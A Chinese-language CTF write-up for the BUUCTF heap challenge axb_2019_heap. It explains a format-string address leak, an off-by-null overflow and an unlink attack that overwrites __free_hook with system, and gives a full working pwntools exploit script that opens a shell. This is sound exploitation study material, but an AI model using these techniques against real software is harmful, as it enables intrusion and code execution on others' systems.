Buuctf：【axb_2019_heap】(格式化字符串，of by null，unlink)
Buuctf：【axb_2019_heap】(格式化字符串，of by null，unlink)
例行检查
64位，保护机制全开，IDA中分析
漏洞分析
此处edit()函数中会多写入\x00字节，导致溢出一个\x00字节，存在of by null 漏洞，add()中限制了我们申请堆块的大小，只能申请大于0x80的堆块
利用思路
1.利用格式化字符串漏洞泄露出程序基地址和libc基地址
2.利用unlink，通过unlink修改chunk0的内存地址为free_hook地址，再次edit0号堆块，覆写为system地址
3.free掉chunk中为’/bin/sh’的堆块，get shell.
分析
1.经过调试可以看到%14$p%$15p的位置上分别是程序地址和libc中的地址，通过格式化字符串漏洞泄露出来
算出free_hook地址和system地址
io.recvuntil(':')
io.sendline('%14$p%15$p')
io.recvuntil('Hello, 0x')
elf = int(io.recv(12),16)
elf_base = elf - 0x1200
io.recvuntil('0x')
leak = int(io.recv(12),16)
libc_base = leak - 0x20840
success(hex(elf_base))
success(hex(libc_base))
note = elf_base + 0x202060
success(hex(note))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(hex(free_hook))
success(hex(system))
2.之后通过堆布局，运用unlink覆写free_hook为system，
add(0,0x88,'AAAA')
add(1,0xf0,'AAAA')
add(2,0x90,'BBBB')
add(3,0x90,'/bin/sh\x00')
此时的堆中布局
这里屏幕原因，最后一个堆块没截全，unlink前的note中为
接下来通过伪造堆头来unlink
edit(0,p64(0) + p64(0x81) + p64(note-0x18) + p64(note-0x10) + p64(0)*12 + p64(0x80))# fd--> note-0x18 , bk--> note-0x10,此处为了绕过unlink检查机制
free(1)
伪造的堆头：
此处通过of by null修改了下个chunk的pre_inuse位，free过1 之后，note链表结构为：
chunk0的内存地址被我们改写为note-0x18的位置，
接下来通过edit0号堆块，将此地址改写为free_hook地址，再覆写为system
edit(0,p64(0)*3 + p64(free_hook) + p64(0x10))
edit(0,p64(system))
修改后：
成功覆写为system，free(3)即可get shell
完整exp:
from pwn import *
elf = ELF('./axb_2019_heap')
io = process('./axb_2019_heap')
libc = elf.libc
context(log_level='debug')
def choice(c):
io.recvuntil('>>')
io.sendline(str(c))
def add(index,size,content):
choice(1)
io.recvuntil(':')
io.sendline(str(index))
io.recvuntil(':')
io.sendline(str(size))
io.recvuntil(':')
io.sendline(content)
def free(index):
choice(2)
io.recvuntil(':')
io.sendline(str(index))
def edit(index,content):
choice(4)
io.recvuntil(':')
io.sendline(str(index))
io.recvuntil(':')
io.sendline(content)
io.recvuntil(':')
io.sendline('%14$p%15$p')
io.recvuntil('Hello, 0x')
elf = int(io.recv(12),16)
elf_base = elf - 0x1200
io.recvuntil('0x')
leak = int(io.recv(12),16)
libc_base = leak - 0x20840
success(hex(elf_base))
success(hex(libc_base))
note = elf_base + 0x202060
success(hex(note))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(hex(free_hook))
success(hex(system))
add(0,0x88,'AAAA')
add(1,0xf0,'AAAA')
add(2,0x90,'BBBB')
add(3,0x90,'/bin/sh\x00')
edit(0,p64(0) + p64(0x81) + p64(note-0x18) + p64(note-0x10) + p64(0)*12 + p64(0x80))
free(1)
edit(0,p64(0)*3 + p64(free_hook) + p64(0x10)) #此处0x10为0号堆块的size,不加的话会出现报错
edit(0,p64(system))
gdb.attach(io)
free(3)
io.interactive()
get shell!!